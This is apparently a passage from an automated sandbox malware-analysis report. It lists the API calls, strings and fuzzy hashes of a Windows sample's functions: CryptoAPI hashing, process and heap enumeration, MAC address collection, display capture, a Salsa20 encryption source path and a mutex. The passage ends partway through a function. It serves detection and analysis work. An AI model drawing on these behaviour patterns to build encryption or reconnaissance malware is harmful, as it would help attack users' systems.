GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

ADVAPI32.DLL, xrefs: 00481989
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
CryptReleaseContext, xrefs: 00481AF6
Module32First, xrefs: 00481E26
Module32Next, xrefs: 00481E39
GetCursorInfo, xrefs: 00481C58
Thread32First, xrefs: 00481E00
NetStatisticsGet, xrefs: 004819E2
CryptGenRandom, xrefs: 00481AE3
Process32First, xrefs: 00481DDA
Heap32First, xrefs: 00481D8E
NETAPI32.DLL, xrefs: 004819A9
USER32.DLL, xrefs: 00481C31
$, xrefs: 00481F7E
GetQueueStatus, xrefs: 00481C6B
NetApiBufferFree, xrefs: 004819F0
Thread32Next, xrefs: 00481E13
Heap32Next, xrefs: 00481DA1
LanmanServer, xrefs: 00481A74
CloseToolhelp32Snapshot, xrefs: 00481D7B
Heap32ListFirst, xrefs: 00481DB4
CryptAcquireContextW, xrefs: 00481AD5
CreateToolhelp32Snapshot, xrefs: 00481D67
KERNEL32.DLL, xrefs: 0048199C
LanmanWorkstation, xrefs: 00481A26
Heap32ListNext, xrefs: 00481DC7
GetForegroundWindow, xrefs: 00481C4A
Process32Next, xrefs: 00481DED

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(008A0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 473631332-1604013687
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 17126a02ccb6bbc5f32dfe245874f9dcbc49a53b6c6b99fc4e7ab7c0e104719e
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

input != nullptr && output != nullptr, xrefs: 0040C095
e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
